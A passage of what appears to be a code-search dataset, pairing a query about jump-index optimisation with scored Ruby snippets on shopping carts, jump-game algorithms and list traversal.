"def set_cart\n @cart = Cart.find(params[:id])\n end", "title": "" }, { "docid": "6c055061a3b2f96b4dafa7412bdc7f5d", "score": "0.6104602", "text": "def cart\n @cart || @cart = Cart.new(self.default_currency, :locale => self.default_locale)\n end", "title": "" }, { "docid": "c8cdd7038b6c8723a85c69705c91df1d", "score": "0.6088708", "text": "def set_cart\n @cart = current_user.carts.find(params[:id])\n end", "title": "" }, { "docid": "5663f19b2cd91a0f3df23779e0d9445f", "score": "0.6069907", "text": "def cart\n shopping_cart || create_shopping_cart\n end", "title": "" }, { "docid": "53fce1cc5aa335d2b04809e307791df7", "score": "0.6063304", "text": "def test()\n\tbanana = Item.new(\"Banana\",10,\"fruit\")\n\torangeJuice = Item.new(\"Orange Juice\", 10, \"juice\")\n\trice = Item.new(\"Rice\", 1, \"food\")\n\tvacuumCleaner = Item.new(\"Vacuum Cleaner\", 150, \"houseware\")\n\tanchovies = Item.new(\"Anchovies\", 2, \"food\")\n\n\tcart = ShoppingCart.new([banana, orangeJuice, rice, vacuumCleaner,anchovies], true, \"saturday\")\n\n\treturn cart\nend", "title": "" }, { "docid": "4da6015d76b1336f3b893946011608cd", "score": "0.6042949", "text": "def cart_items\n cart_items = []\n cart.each do |id, quantity|\n cart_items << { product: Product.find(id),\n quantity: quantity }\n end\n cart_items\n end", "title": "" }, { "docid": "bf0d5ae60ff0709c030071c9443b54d1", "score": "0.6042121", "text": "def set_cart\n @current_cart = Cart.find(params[:id])\n end", "title": "" }, { "docid": "a3a98541e3305c92b97a460cad33b29d", "score": "0.60399795", "text": "def shoppingcart\n @page_icon = \"im-cart3\"\n @page_header = \"Your Shopping Cart\"\n \n @categories = FoodGroup.all\n @yourcart = KitchenItem.where(:user_id => current_user.id).where(:userHas => false)\n end", "title": "" }, { "docid": "66cd9c499e1654c90146b4bad9d8675f", "score": "0.6023912", "text": "def set_shoppingcart\n @shoppingcart = Shoppingcart.find(params[:id])\n end", "title": "" }, { "docid": "e25da18e02b32e1a86cf413c3313205a", "score": "0.6019015", "text": "def init_cart \n # Check if the cart ID is defined and that it exists in the database\n create_new_invoice = false\n if session[:cart_id]\n @invoice = Caboose::Invoice.where(:id => session[:cart_id]).first\n create_new_invoice = true if @invoice.nil? || @invoice.status != 'cart' \n else \n create_new_invoice = true \n end\n\n if create_new_invoice # Create an invoice to associate with the session \n @invoice = Caboose::Invoice.new \n @invoice.site_id = @site ? @site.id : nil\n @invoice.status = Caboose::Invoice::STATUS_CART\n @invoice.financial_status = Caboose::Invoice::STATUS_PENDING\n @invoice.date_created = DateTime.now\n @invoice.referring_site = request.env['HTTP_REFERER']\n @invoice.landing_page = request.fullpath\n @invoice.landing_page_ref = params[:ref] || nil\n @invoice.payment_terms = @site.store_config.default_payment_terms\n @invoice.save\n \n InvoiceLog.create(\n :invoice_id => @invoice.id, \n :user_id => logged_in_user.id,\n :date_logged => DateTime.now.utc,\n :invoice_action => InvoiceLog::ACTION_INVOICE_CREATED \n )\n \n # Save the cart ID in the session\n session[:cart_id] = @invoice.id\n end \n end", "title": "" }, { "docid": "6e2723cd0305bdd9e34db035189c270f", "score": "0.59867465", "text": "def set_cart\n\t\t\t@cart = Cart.find(session[:cart_id])\n\t\trescue ActiveRecord::RecordNotFound\n\t\t\t@cart = Cart.create\n\t\t\tsession[:cart_id] = @cart.id \n\t\tend", "title": "" }, { "docid": "0e3f39dc262f20a7a7576beef01df9f6", "score": "0.59863776", "text": "def set_cart\n\t\t@cart = Cart.find(session[:cart_id])\n\trescue ActiveRecord::RecordNotFound\n\t\t@cart = Cart.create\n\t\tsession[:cart_id] = @cart.id\n\tend", "title": "" }, { "docid": "c0d3b43cef1ea901d8994195e4ef0d36", "score": "0.598165", "text": "def set_cart\n @cart = Cart.find(session[:cart_id])\n rescue ActiveRecord::RecordNotFound\n @cart = Cart.create\n session[:cart_id] = @cart.id\n end", "title": "" }, { "docid": "c0d3b43cef1ea901d8994195e4ef0d36", "score": "0.598165", "text": "def set_cart\n @cart = Cart.find(session[:cart_id])\n rescue ActiveRecord::RecordNotFound\n @cart = Cart.create\n session[:cart_id] = @cart.id\n end", "title": "" }, { "docid": "49303edb4353bfd18cd00b497b2ae1b7", "score": "0.5959423", "text": "def set_carting\n @carting = Carting.find(params[:id])\n end", "title": "" }, { "docid": "3daa575e4b0128fd4b34c3e77a0197ad", "score": "0.5957328", "text": "def set_cart\n begin\n @cart = Cart.find(params[:cart_id])\n rescue ActiveRecord::RecordNotFound\n session[:cart_id] = current_user.cart.id\n @cart = current_user.cart\n end\n end", "title": "" } ]
b10a37a2732390798535a85a50fd9ea0
slight optimization in regards to determining current_idx we know that any preceding destination index would require less than or equal to the number of jumps it will take to reach the current destination index. As such, we can start from the jump index of the previous element.
[ { "docid": "a2f99c15e260628f98cbc2ac4a487e9d", "score": "0.7765381", "text": "def find_starting_idx(destination_idx, jump_idx)\n jump_idx.length > 1 ? jump_idx[destination_idx - 1] : 0\nend", "title": "" } ]
[ { "docid": "5a9b87ea4632082ae10bb1d702de8fd1", "score": "0.6947729", "text": "def can_jump?(arr, current_idx, destination_idx)\n current_idx + arr[current_idx] >= destination_idx\nend", "title": "" }, { "docid": "e13853adbaf8d87fd336edd70fe020f7", "score": "0.6831604", "text": "def minimum_jumps(arr)\n # two arrays. One to keep track of minimum number of jumps needed to reach\n # the position. The other to keep track of which index was needed to reach\n # a given index position.\n num_jumps = [0]\n jump_idx = [nil]\n # use two pointers, one being the destination index and the other\n # being which index to jump from to reach it.\n destination_idx = 1\n while destination_idx < arr.length\n current_idx = find_starting_idx(destination_idx, jump_idx)\n p [current_idx, destination_idx]\n # break the inner while loop once we find an answer\n while current_idx < destination_idx && num_jumps[destination_idx].nil?\n if can_jump?(arr, current_idx, destination_idx)\n num_jumps[destination_idx] = num_jumps[current_idx] + 1\n jump_idx[destination_idx] = current_idx\n end\n current_idx += 1\n end\n destination_idx += 1\n end\n p jump_idx\n num_jumps.last\nend", "title": "" }, { "docid": "8bc813533b3fc3e27d8be1a59c065150", "score": "0.63080627", "text": "def current_idx\n return @idx >= 0 ? @idx : nil\n end", "title": "" }, { "docid": "8153b20f5ee809b3e84f7bdbeedecb82", "score": "0.6155746", "text": "def previous\n validates_possibility_of :previous\n self.index -= 1\n self.current\n end", "title": "" }, { "docid": "2402c004b05c17b461d20b7074aa184e", "score": "0.60393566", "text": "def goto_prev\n pointer, matching_pointers = @itr_pointer.next(@builder['skip_matched_checkbutton'].active?, false)\n if (pointer == nil)\n @itr_pointer.reset\n pointer, matching_pointers = @itr_pointer.next(@builder['skip_matched_checkbutton'].active?, false)\n if (pointer == nil)\n notify('No more items to compare')\n else\n notify('Cycling items to compare from the end')\n end\n else\n @idx_comparison -= 1\n notify('')\n end\n load_comparison(pointer, matching_pointers)\n end", "title": "" }, { "docid": "9cbd206964dab829590c27ec94f8865c", "score": "0.601214", "text": "def get_next_index(current_index, direction, num_players)\n\t\tif direction == true\n\t\t\tif current_index == num_players - 1\n\t\t\t\t0\n\t\t\telse\n\t\t\t\tcurrent_index += 1\n\t\t\tend\n\t\telse\n\t\t\tif current_index == 0\n\t\t\t\tnum_players - 1\n\t\t\telse\n\t\t\t\tcurrent_index -= 1\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "d40ef0a5e40f52ef4d5ceb2147a584fc", "score": "0.5991077", "text": "def advance\n @current += 1 unless at_end?\n return previous\n end", "title": "" }, { "docid": "24e13ab7d07a22592172e08b30fb67a5", "score": "0.5964136", "text": "def index_from_start(index); end", "title": "" }, { "docid": "ce0da7953e3795bcff228d4334323b2b", "score": "0.59164155", "text": "def prev\n prev? ? @current - 1 : nil\n end", "title": "" }, { "docid": "01e4ca93f5e4642314f30c3b934b5fe3", "score": "0.58982956", "text": "def new_step\n # noinspection RubyMismatchedReturnType\n index(index&.succ || 0)\n end", "title": "" }, { "docid": "501239a93f5a4043fbe8134026f80ae3", "score": "0.5874001", "text": "def jump_search(arr, x, n)\n # Finding block size to be jumped\n step = Math.sqrt(n)\n\n # Finding the block where element is\n # present (if it is present)\n prev = 0\n while arr[[step, n].min - 1] < x\n prev = step\n step += Math.sqrt(n)\n if prev >= n\n - 1\n end\n end\n\n # Doing a linear search for x in block\n # beginning with prev.\n\n while arr[prev] < x\n prev += 1\n\n # If we reached next block or end of\n # array, element is not present.\n\n if prev == [step, n].min\n return -1\n end\n end\n\n # If element is found\n if arr[prev] == x\n prev\n end\nend", "title": "" }, { "docid": "b1e873ff8bc5ed087378f5cede3708f2", "score": "0.58637273", "text": "def jump_back\n @banned_points[@path.last.hash] = @path.pop\n @current_point = @path.last || (@path << @start_vector).last\n @current_cost = get_cost @current_point\n @banned_points.delete @start_vector.hash\n @initial_run = true\n if @debug_level > 1\n puts \"Jumping back\"\n puts \"Banning #{@banned_points.last.inspect}\"\n end\n end", "title": "" }, { "docid": "de28a7cdd31aaee12d5b98e1e546efaf", "score": "0.5854134", "text": "def input_to_index(nextmove)\n nextmovei = nextmove.to_i - 1\nend", "title": "" }, { "docid": "16f14b17bc04071589f058f46ffa90ce", "score": "0.5818591", "text": "def fix_index_plus(index, _max_index)\n delta = index - @index.to_i\n if delta == 2 # DOWN\n return 0 if @index == 0 || @index == 2\n return 1\n end\n return 0\n end", "title": "" }, { "docid": "3e79059a60d43f99cc2e3c09b5d28e17", "score": "0.57953435", "text": "def next_starting_position\n\t\tpos = @starting_positions[@pos_idx]\n\t\t@pos_idx = (@pos_idx + 1) % @starting_positions.length\n\t\tpos\n\tend", "title": "" }, { "docid": "e1e5a015f778f466c75c4c8757ef813b", "score": "0.57884336", "text": "def count_next_index()\n if @operation == :pour\n if @second_index + 1 >= @original_state.size\n @second_index = 0\n @first_index += 1\n else\n @second_index += @second_index + 1 == @first_index ? 2 : 1\n end\n if @first_index + 1 == @original_state.size && @second_index + 1 >= @original_state.size\n @operation = :nop\n end\n else\n if @first_index + 1 < @original_state.size\n @first_index += 1\n else\n @first_index = 0\n @operation = @operation == :fill ? :empty : :pour\n end\n end\n end", "title": "" }, { "docid": "6793e6b1b692b9f12301ef71759241e6", "score": "0.57823044", "text": "def can_jump(arr)\n return false if arr.empty?\n return true if arr.length == 1\n\n last_index = arr.length - 1\n cache = { last_index => true }\n jump_helper(arr, last_index - 1, cache)\nend", "title": "" }, { "docid": "3349c2e7944484678d79766a6eb5e4db", "score": "0.5778538", "text": "def scroll_forward\n #@oldindex = @current_index\n @current_index += @scrollatrows\n @prow = @current_index - @scrollatrows\n end", "title": "" }, { "docid": "0d149c81aac9482a5bbd3668184f37bc", "score": "0.5774618", "text": "def calc_minimum_jumps(\n clouds:\n )\n jumps = 0\n index = 0\n # Iterate the loop untill index reaches the end\n until index == clouds.length-1\n \t# If there are 2 consucetive 0 increase index = 2\n if clouds[index+2] == 0\n jumps += 1\n index += 2\n elsif clouds[index+1] == 0\n jumps += 1\n index += 1\n end\n end\n jumps\nend", "title": "" }, { "docid": "442ad36b1a05ff1cd724da1d16d88a4d", "score": "0.57122195", "text": "def getParentIdx(idx)\n (idx-1)/2.0.floor if (idx > 0)\n end", "title": "" }, { "docid": "44ef818f934ead816670de85bf959455", "score": "0.56704503", "text": "def prev\n @history_idx += 1 if @history_idx < @history.length - 1\n current\n end", "title": "" }, { "docid": "cf421ca49be5c9a11a5e1cead9800a46", "score": "0.5670329", "text": "def next_jumps\n\t\tvalid_jumps = []\n\t\tmove_diffs.each do |diff|\n\t\t\tvalid_jumps << [position.first + (diff.first * 2), position.last + (diff.last * 2)]\n\t\tend\n\n\t\tvalid_jumps.select! do |move|\n\t\t\ton_board?(move) && enemy_between?(move) && board[move].nil?\n\t\tend\n\tend", "title": "" }, { "docid": "f406a1ef019191e943f51de2a44f902b", "score": "0.5665448", "text": "def goto_last_position\n return unless @oldrow\n @current_index = @oldrow\n bounds_check\n end", "title": "" }, { "docid": "9f32beddfc0202f2a1c8c1122c4e3ada", "score": "0.5663005", "text": "def run( current, positions, iterations, num_values )\n iterations.times do \n slice_start = current.next\n current.next = current.next.next.next.next\n destination = nil\n backoff = 1\n \n while ! destination \n search_for_label = current.value - backoff\n if search_for_label < 1\n search_for_label += num_values\n end \n destination = positions[search_for_label]\n if destination.value == slice_start.value ||\n destination.value == slice_start.next.value ||\n destination.value == slice_start.next.next.value \n destination = nil\n backoff += 1\n end\n end\n \n after_slice = destination.next\n destination.next = slice_start\n slice_start.next.next.next = after_slice\n current = current.next\n end\nend", "title": "" }, { "docid": "5e2791f4743c9860219f7d633fdb9283", "score": "0.56417966", "text": "def jumpingOnClouds(c)\n jumps = 0\n\n i = 0\n while i < c.size - 1\n jumps += 1\n i = (c[i+2] == 0) ? i + 2 : i + 1\n end\n\n jumps\nend", "title": "" }, { "docid": "2941d4578548130c559609254dabf95f", "score": "0.5636956", "text": "def scroll_forward\n @oldindex = @current_index\n @current_index += @scrollatrows\n @prow = @current_index - @scrollatrows\n end", "title": "" }, { "docid": "df936b2a4984c56ed20c781e19ac2474", "score": "0.5620531", "text": "def update_current(next_idx)\n @current = @list[next_idx]\n end", "title": "" }, { "docid": "85b7ade1416d68d0ce8ac2f262eca957", "score": "0.56201553", "text": "def jump_next_view \n current, views = Subtlext::View.current, Subtlext::View.all \n views.each_with_index{|view,idx| views[ (idx+1 >= views.size) ? 0 : idx+1 ].jump if view == current } \nend", "title": "" }, { "docid": "5e0df33309cd25cae5d35e7133dfc5e1", "score": "0.56128013", "text": "def next(current)\n if (@position < @history.length - 1)\n @position = @position + 1\n return @history[@position]\n end\n return current\n end", "title": "" }, { "docid": "b01f868c029cfd841598d01d852f2269", "score": "0.5610102", "text": "def goto_prev_selection\n return if selected_rows().length == 0 \n row = selected_rows().sort{|a,b| b <=> a}.find { |i| i < @obj.current_index }\n row ||= @obj.current_index\n #@obj.current_index = row\n @obj.goto_line row\n end", "title": "" }, { "docid": "6faad7940823477ee9e7541068e9423e", "score": "0.55952907", "text": "def index_of_prev_closest(q, from = 0)\n index_of_closest(-1, q, from)\n end", "title": "" }, { "docid": "ca0fdffabc74d75c9a5062c7063ad108", "score": "0.55886096", "text": "def next_available_index\n for index in 0..32 do\n break index unless self[index].exists?\n end\n end", "title": "" }, { "docid": "62200e1fa4ce4de98ffcb329a07c5ca8", "score": "0.5577176", "text": "def next_offset\n [all_contents.size + 1, offset + limit].min\n end", "title": "" }, { "docid": "da47f5b60384a1d1d63b8e5038b0fec2", "score": "0.5563886", "text": "def prev(current)\n l = current\n l = l[0,1] if (l.length > 0 and l[0,1] == '\\n')\n l = l[-1,1] if (l.length > 0 and l[-1,1] == '\\n')\n if (@position > 0)\n if (@position == (@history.length - 1))\n @history[@history.length - 1] = l\n end\n @position = @position - 1\n return @history[@position]\n end\n return current\n end", "title": "" }, { "docid": "c98a2e45dd089963833344be2ecbc65e", "score": "0.55513906", "text": "def get_next_offset(current)\n context.select_value(sanitize([\n %Q{\n SELECT MAX(id)\n FROM (\n SELECT id FROM #{source}\n WHERE id > ?\n ORDER BY id\n LIMIT ?\n ) AS t\n },\n current,\n chunk_size\n ])).tap do |next_offset|\n logger.debug(\"-> Next offset is: #{next_offset}\")\n end\n end", "title": "" }, { "docid": "0e3676600ca6ad698d498d9e7acbc5c4", "score": "0.5501268", "text": "def walk_back(stop_at, item_id, row: nil, col: nil)\n visited = []\n to_visit = []\n ignore_map = Hash.new { |h,k| h[k] = [] }\n\n operation_map, new_to_visit = step_back(\n item_id: item_id,\n row: row, col: col\n )\n return visited unless operation_map\n\n visited.append(operation_map)\n new_to_visit.each { |ntv| ignore_map[ntv[:input].id].append(operation_map.id) }\n return visited if operation_map.name == stop_at\n\n to_visit += new_to_visit\n\n while to_visit.present?\n tv = to_visit.pop\n item_id = tv[:input].child_item_id\n operation_map, new_to_visit = step_back(\n item_id: item_id,\n row: tv[:input].row, col: tv[:input].column,\n ignore_ids: ignore_map[tv[:input].id] || []\n )\n next unless operation_map\n\n tv[:operation_map].try(:add_predecessors, operation_map)\n visited.append(operation_map)\n new_to_visit.each { |ntv| ignore_map[ntv[:input].id].append(operation_map.id) }\n next if operation_map.name == stop_at\n\n to_visit += new_to_visit\n end\n\n OperationHistory.new(operation_maps: visited)\n end", "title": "" }, { "docid": "829a1c5d67668c7b6d49ec358650c280", "score": "0.5491241", "text": "def fixed_step?\n prev_step, prev = nil, nil\n self.indices.sort.each do |i|\n if prev\n curr_step = i - prev\n if prev_step\n return false if prev_step != curr_step\n end\n \n prev_step = curr_step\n end\n \n prev = i\n end\n \n return prev_step\n end", "title": "" }, { "docid": "447c525b98839c8d867177b6bbb18e6b", "score": "0.5491065", "text": "def kth_to_last_space_optimized(head, k)\n count = 1\n current_node = head\n while current_node\n count += 1\n current_node = current_node.next\n end\n current_node = head\n target = count - k\n count = 1\n while current_node\n return current_node.value if count == target\n count += 1\n current_node = current_node.next\n end\nend", "title": "" }, { "docid": "0db40aaf358b569046428192ba740ba0", "score": "0.54855174", "text": "def prev\n ret = nil\n # If we're not the first valid value, look for the previous one\n if (@index && (@index > 0))\n # Check the cache first for the predecessor\n if (@@STEAK_CACHE[@index - 1])\n ret = @@STEAK_CACHE[@index - 1]\n # If it wasn't in the cache, create and return a new instance\n else\n ret = Steak.new(@index - 1)\n end\n end\n ret\nend", "title": "" }, { "docid": "8dc83dcc07b1d7f214cec10a400531c2", "score": "0.5472297", "text": "def prev_item\n @current -= 1 if @current > 0\n\n items\n end", "title": "" }, { "docid": "8738bf445b73613d2250542fad664c36", "score": "0.54659855", "text": "def towns_to_destination(matrix:, start: 0, destination:)\n visited = {}\n visited[start] = true\n queue = [[start]]\n\n return 0 if start == destination\n\n # towns after start\n until visited.key?(destination)\n last = queue[-1]\n queue << []\n last.each do |p|\n matrix[p].each_with_index do |ele, index|\n if ele != start && !visited.key?(index)\n queue[-1] << index\n visited[index] = true\n end\n end\n end\n end\n queue.length - 1\nend", "title": "" }, { "docid": "d86dd6b78f889ac006ac61c711233716", "score": "0.5465264", "text": "def previous\n\t first? ? nil : locate - 1\n\tend", "title": "" }, { "docid": "8fef742c7c94eea7ee21b4e251c85714", "score": "0.545843", "text": "def moveto_next\n return if @range.empty?\n if index = @range.index(self.pos)\n @index = index\n end\n @index += 1\n @index %= @range.size\n moveto @range[@index]\n end", "title": "" }, { "docid": "f02d7ab297d3103c7fd301355da07c1d", "score": "0.5455855", "text": "def slow_dance(direction, arr)\n arr.each_with_index do |el, i|\n return i if el == direction\n end\nend", "title": "" }, { "docid": "224b99fc129229d1a96826cc0d856559", "score": "0.54555345", "text": "def previous_element; end", "title": "" }, { "docid": "229707042f60420cd97e62247087ff05", "score": "0.5454994", "text": "def next_open_index(index)\n (index...(index + @size)).each do |i|\n if i >= @size\n i = i % @size\n end\n\n if @nodes[i] == nil\n return i\n end\n end\n\n return -1\n end", "title": "" }, { "docid": "6859561208bd888ac0ab01d0ea98ad18", "score": "0.5453513", "text": "def lazy_index(index)\n index -= @map.keys.select{|e| e < index}.size\n result = 0\n @deleted.each do |deleted_index|\n if deleted_index - result > index\n return result + index\n else\n index -= deleted_index - result\n result = deleted_index + 1\n end\n end\n result + index\n end", "title": "" }, { "docid": "d5e8f6e7ccd688eb1e00d20a523f2190", "score": "0.54397035", "text": "def slow_dance(target, tiles)\n tiles.each_with_index do |dir, idx|\n return idx if dir == target\n end\nend", "title": "" }, { "docid": "e44987213c209f2b101fb337184c539a", "score": "0.5428206", "text": "def jumps_to_end\n ( @x == @y ) ? 0 : get_jumps_to_end\n end", "title": "" }, { "docid": "9f43f37a41a8650e67665823d349a856", "score": "0.5422628", "text": "def goto_end\n $multiplier ||= 0\n if $multiplier > 0\n goto_line $multiplier - 1\n return\n end\n @current_index = @list.count() - 1\n @prow = @current_index - @scrollatrows\n $multiplier = 0\n end", "title": "" }, { "docid": "caa94c5559105fee0fc56623fd2b0ad7", "score": "0.5410286", "text": "def slow_dance(step, array)\n index = 0\n array.each_with_index do |el, i|\n index = i if el == step\n end\n index\nend", "title": "" }, { "docid": "d042b5929d1ee3b5ef776243b92c0934", "score": "0.5407699", "text": "def can_jump(arr)\n return false if arr.empty?\n jump_helper(arr, index = arr.size - 1, jumps = 0)\nend", "title": "" }, { "docid": "48412710c08492591f41ec0553b303ce", "score": "0.5406674", "text": "def starting_position; end", "title": "" }, { "docid": "0961b8bb4ed609e949d42090417f8fb2", "score": "0.5401585", "text": "def skippast(to)\n @index = @source.index(to, @index)\n @index = (@index.nil?) ? @source.length : @index + to.length\n end", "title": "" }, { "docid": "65bddcfdba104d0cc42e041a535efdab", "score": "0.5400286", "text": "def possible_jumps\n pos_jumps = [ ]\n row, col = @pos\n move_diffs.each do |row_change, col_change| \n jumped_piece = [row + row_change, col + col_change]\n new_position = [row + (row_change * 2), (col + col_change * 2)]\n unless @grid[jumped_piece].nil? || @grid[jumped_piece].color == @color\n pos_jumps << new_position\n end\n end\n pos_jumps\n end", "title": "" }, { "docid": "04e2edb53954cd4cdc050f6e385d182d", "score": "0.5400077", "text": "def goto_start\n @oldindex = @current_index\n $multiplier ||= 0\n if $multiplier > 0\n goto_line $multiplier\n return\n end\n @current_index = 0\n @curpos = @pcol = @prow = 0\n @prow = 0\n $multiplier = 0\n end", "title": "" }, { "docid": "2ae2478c120b7c9b413e075e56c45924", "score": "0.53959775", "text": "def see_next\n if @index >= @normalized_numbers.length\n return -1\n else\n return @normalized_numbers[@index]\n end\n end", "title": "" }, { "docid": "4868f7300370dfe71c010cd7ed1bb9b0", "score": "0.5394919", "text": "def jumpingOnClouds(c)\n jump_count = 0\n i = 0\n until i == c.length - 1 do\n next_two = c[i+2]\n if next_two == 0\n i += 2\n jump_count += 1\n else\n i += 1\n jump_count += 1\n end\n end\nreturn jump_count\nend", "title": "" }, { "docid": "a28314751fa97fe997a25adf81588b75", "score": "0.53940654", "text": "def relative index, x, y\n target = index + x + (y * @size)\n if ((target % @size) - (index % @size)).abs > 1\n target = nil\n elsif target < 0 || target > (@size**2) - 1\n target = nil\n end\n target\n end", "title": "" }, { "docid": "6dc420db940fb321eabd0288a43a941a", "score": "0.53913814", "text": "def input_to_index(move)\r\n index = move.to_i - 1\r\nend", "title": "" }, { "docid": "d6424bcef4d6d3a1dea0476d90f00092", "score": "0.5387889", "text": "def next_edge_index\n # starting at zero\n @next_edge_index ||= 0\n\n @next_edge_index += 1\n\n (@next_edge_index - 1)\n end", "title": "" }, { "docid": "cb5bb56bfe54b688b2f9b778593b6bc0", "score": "0.5385425", "text": "def jumping_on_clouds arr\n jump_count = 1\n # create a duplicated array\n jump_arr = arr.dup\n # mark the first cloud as the first jump\n jump_arr[0] = 'J' #jump\n #mark the last loud as the last jump\n jump_arr[-1] = 'E' #end\n p jump_arr\n\n jump_arr.map.with_index do |cloud, i|\n if cloud == 'J'\n if jump_arr[i + 2] == 0 \n jump_arr[i + 2] = 'J'\n jump_count += 1\n elsif jump_arr[i + 1] == 0 && jump_arr[i + 2] == 1\n jump_arr[i + 1] = 'J'\n jump_count += 1\n end\n end\n break if jump_arr[i + 2] == 'E'\n end\n p jump_arr\n p jump_count\nend", "title": "" }, { "docid": "3ab522b5e221980866b9d123974308d0", "score": "0.53782177", "text": "def next_element\n validates_possibility_of :next\n self.index += 1\n self.current\n end", "title": "" }, { "docid": "532af4fefafc00786f78f98403aad6c0", "score": "0.53693616", "text": "def jumpingOnClouds(c)\n i = 0\n jump = 0\n while i < c.length-1\n if i < c.length and c[i+2] != 1\n jump += 1\n i += 2\n else\n jump += 1\n i += 1\n end\n end\n return jump\nend", "title": "" }, { "docid": "830d9c88faf6ec18e8960b8bca6b4c2b", "score": "0.5367394", "text": "def walker(list)\nidx = 1\n if list.length <= 2\n return list.flatten,list.length\n end\n walked = [list[0]]\n starting_list = list[1,list.length]\n starting_list.each do |el|\n if el == walked[-1] + 1\n walked.append(el)\n idx += 1\n else\n break\n end\n end\n if walked.length >= 3\n return \"#{walked[0]}-#{walked[-1]}\",idx\n else\n return walked.flatten,idx\n end\nend", "title": "" }, { "docid": "3f40e6c71e81547f2d8bc3d9c7afe245", "score": "0.5362224", "text": "def find_index(starting_from = 0)\n index = starting_from\n element = self[index]\n\n until element.nil?\n return index if yield(element)\n index += 1\n element = self[index]\n end\n\n nil\n end", "title": "" }, { "docid": "dfc122cd6ed06a5b4b7268ab07a558ff", "score": "0.53604144", "text": "def helper(arr, i, mins)\n return mins[i] if mins[i]\n return 0 if i >= arr.length\n return 'fail' if arr[i] == 0\n min = 99999\n\n for j in i+1..i+arr[i]\n jumps_count = helper(arr, j, mins)\n if jumps_count != 'fail' && jumps_count < min\n min = jumps_count + 1\n end\n end\n mins[i] = min\n min\nend", "title": "" }, { "docid": "9b55e2af046884bbaf61550eb7e6a34c", "score": "0.535266", "text": "def previous\n @tokens.at(@current - 1)\n end", "title": "" }, { "docid": "09c4c80fc0dd7ed54ea08da87534eb4d", "score": "0.53454876", "text": "def next_idx(list)\n return 0 if list.empty?\n list.map { |item| item[:idx] }.max + 1\n end", "title": "" }, { "docid": "1e9c859a05afac700cfa1fe4567b6da5", "score": "0.5342758", "text": "def next_index(idx)\n idx = idx + 1\n idx = 0 if idx >= @connections.length\n idx\n end", "title": "" }, { "docid": "f23cedbdff228296f1670c19a878cacb", "score": "0.5334593", "text": "def find_prev_in(parent, index)\n while index >= 0\n c = parent.blocks[index]\n if c.context == :section\n return c if c.level == @chunk_level\n\n parent = c\n index = c.blocks.length\n end\n index -= 1\n end\n # index was for the first section in the parent so the previous page\n # *is* the parent.\n parent\n end", "title": "" }, { "docid": "ce826b86d63de18ea817af4fe2ea5631", "score": "0.5333495", "text": "def slow_dance(move, arr)\n arr.each_with_index do |dir, idx|\n return idx if move == dir\n end\nend", "title": "" }, { "docid": "54108fadf3663b1f2547677295c91be4", "score": "0.53309596", "text": "def next_stop\n @current_stop += 1\n @current_stop = 0 if @current_stop == nr_stops\n @current_stop\n end", "title": "" }, { "docid": "93a4a991749f99efc7eb8c652a09fcc0", "score": "0.5329967", "text": "def input_to_index(move)\n move = move.to_i - 1\nend", "title": "" }, { "docid": "282e2594585db649ac5389aff2cd9bb0", "score": "0.53227", "text": "def findInsertionPt(candidate, arrayList)\n idx = 0\n arrayList.each do |rec|\n return idx if rec[0] >= candidate || rec[1] >= candidate\n idx += 1\n end\nend", "title": "" }, { "docid": "f75b2b7dd699245133384a823155538c", "score": "0.5319294", "text": "def nearest_larger(arr,i)\n target = arr[i]\n \n up_idx = i\n down_idx = i\n\n until up_idx == arr.length-1 && down_idx == 0\n \n if down_idx !=0\n down_idx -= 1\n end\n\n if up_idx != arr.length-1\n up_idx += 1\n end\n\n if arr[down_idx] > target\n return down_idx\n elsif arr[up_idx] > target\n return up_idx\n end\n\n end\nnil\nend", "title": "" }, { "docid": "3e8887c352e1cf34cc71d57d43ec97f6", "score": "0.53175914", "text": "def index_of_next_closest(q, from = 0)\n index_of_closest(1, q, from)\n end", "title": "" }, { "docid": "9de4f413ed148c302dba71dc0f3ea3e1", "score": "0.5317097", "text": "def jump_forever\n jump_to_negative_relative_offset(current_assembly_position)\n end", "title": "" }, { "docid": "02a2cf78aba4339277b2b166295e3790", "score": "0.5312782", "text": "def index_step(index)\r\n (index - @range.min) * @stride\r\n end", "title": "" }, { "docid": "a98d11f3cfc7610983d59d6a599784e2", "score": "0.5290681", "text": "def _skip_next\n @index += 1\n\n self\n end", "title": "" }, { "docid": "d138f3158edb76704fb0efdc1704472c", "score": "0.5290569", "text": "def previous\n first? ? nil : @collection[index - 1]\n end", "title": "" }, { "docid": "d52cca58e0b7b10eb1efb7ad7b661a33", "score": "0.5289937", "text": "def scroll_backward\n #@oldindex = @current_index\n @current_index -= @scrollatrows\n @prow = @current_index - @scrollatrows\n end", "title": "" }, { "docid": "d56179e08597848d306583a7d9d2d9e4", "score": "0.5279967", "text": "def backward\n return nil if leading.nil?\n return nil if @current.nil? || @current <= 0\n return nil if @pages_on_navigation.nil? || @pages_on_navigation <= 0\n\n result = @current - @pages_on_navigation\n\n (result < leading) ? nil : result\n end", "title": "" }, { "docid": "cfa89657ba5519562bf8f276fdfe5df0", "score": "0.52782404", "text": "def calculate_prev\n p = @current_page - 1\n p <= 0 || p > @total_pages ? nil : p\n end", "title": "" }, { "docid": "328467e8bfacea30956a14dd910282a3", "score": "0.527627", "text": "def get_at_index(index, current=@head)\r\n if current.nil? || current.next.nil? || index == 0\r\n return current&.data\r\n end\r\n \r\n get_at_index(index - 1, current.next)\r\n end", "title": "" }, { "docid": "b1377b838bc93892343442114482f940", "score": "0.5270326", "text": "def jumpingOnClouds(c)\n step_count = 0\n i = 0\n\n while i < c.length - 1\n if c.index(c[i+2]) == 0\n step_count += 1\n i += 2\n elsif c.index(c[i+1]) == 0\n step_count += 1\n i += 1\n end\n end\n\n return step_count\nend", "title": "" }, { "docid": "dbfd0e9f38fbb6800d8b9a4970b6fd11", "score": "0.52693605", "text": "def move_prev\n self.step -= 1\n 'prev'\n end", "title": "" }, { "docid": "e11c6d375dc0efce1a24c585dbee27de", "score": "0.5267598", "text": "def local_index( parent_array, parent_index, \n parent_local_map = parent_local_map( parent_array ) )\n\n size = @array_instance.size\n if local_index = parent_local_map[ parent_index ]\n local_index = size if local_index > size\n else\n # local index is after last parent element in array\n this_parent_index = parent_index - 1\n while this_parent_index >= 0\n break if local_index = parent_local_map[ this_parent_index ]\n this_parent_index -= 1\n end\n if parent_index >= parent_local_map.size\n local_index = local_index ? local_index + 1 : size\n end\n end\n \n return local_index\n \n end", "title": "" }, { "docid": "726a1d75a754b50e07ba2e0d84a14665", "score": "0.52674556", "text": "def previous\n self.offset(-1)\n end", "title": "" }, { "docid": "1fd51615ba0399f6134055502ad369e3", "score": "0.5265448", "text": "def previous_station_index\n current_station_index - 1\n end", "title": 